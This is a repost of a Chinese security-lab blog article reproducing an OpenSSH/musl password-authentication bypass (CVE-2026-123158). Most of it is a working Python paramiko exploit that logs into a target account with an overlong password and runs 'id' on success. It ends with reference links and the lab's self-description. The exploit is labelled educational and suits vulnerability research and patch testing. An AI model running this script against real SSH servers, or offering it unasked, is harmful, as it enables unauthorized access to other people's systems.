【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)

本文转载自微信公众号「弥天安全实验室」

原文标题：【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)

内容版权归原作者及原公众号所有，转载仅为传播资讯；若有侵权请联系管理员删除。

#!/usr/bin/env python3"""PoC educativo — CVE-2026-123158 ("sshole")
Musl crypt() devuelve '*' para contraseñas de más de 256 bytes cuando la salalmacenada también es '*' (cuentas sin hash de contraseña real). OpenSSH sinPAM compara el resultado directamente con el campo shadow: '*' == '*' → loginaceptado sin conocer la contraseña real.
Uso: python3 /home/exploit.py [HOST] [PORT] [USER] [LEN]
Ejemplos: python3 /home/exploit.py # localhost:22, alice, 300 chars python3 /home/exploit.py 172.17.0.2 22 alice # desde fuera del contenedor"""import sysimport paramiko

def try_login(host: str, port: int, user: str, password: str) -> bool: transport = paramiko.Transport((host, port)) try: transport.connect() transport.auth_password(username=user, password=password) print(f"[+] longitud={len(password)}: ACCEPTED — login aceptado") chan = transport.open_session() chan.exec_command("id") out = chan.recv(4096).decode(errors="replace") print(f" >>> {out.strip()}") return True except paramiko.AuthenticationException: print(f"[-] longitud={len(password)}: rejected — login rechazado") return False except Exception as exc: print(f"[!] longitud={len(password)}: error — {exc}") return False finally: transport.close()

def main() -> None: host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 user = sys.argv[3] if len(sys.argv) > 3 else "alice" length = int(sys.argv[4]) if len(sys.argv) > 4 else 300
 print("=" * 55) print(f" CVE-2026-123158 PoC — {user}@{host}:{port}") print("=" * 55)
 print("\n[*] Paso 1 — contraseña corta (control negativo):") try_login(host, port, user, "password-corta")
 print(f"\n[*] Paso 2 — contraseña de {length} caracteres (explotación):") ok = try_login(host, port, user, "A" * length)
 print() if ok: print("[!] VULNERABILIDAD CONFIRMADA: bypass de autenticación SSH exitoso") else: print("[-] Vulnerabilidad no reproducida en este entorno")

if __name__ == "__main__": main()

https://www.openssh.org/releasenotes.html#10.6p2https://github.com/leonjza/sshhole-labhttps://github.com/leonjza/sshhole-lab/blob/main/images/sshhole.png

弥天简介

学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。

口号 网安引领时代，弥天点亮未来

📰 相关阅读

• 网络安全日报｜2026年10月21日：32条资讯，漏洞9、勒索泄露1、APT供应链5
• 网络安全日报｜2026年10月22日：42条资讯，漏洞12、勒索泄露5、APT供应链8
• 网络安全日报｜2026年10月23日：39条资讯，漏洞12、勒索泄露3、APT供应链8
• 网络安全日报｜2026年10月24日：53条资讯，漏洞12、勒索泄露11、APT供应链6
• 网络安全日报｜2026年10月25日：9条资讯，漏洞2、勒索泄露1、APT供应链0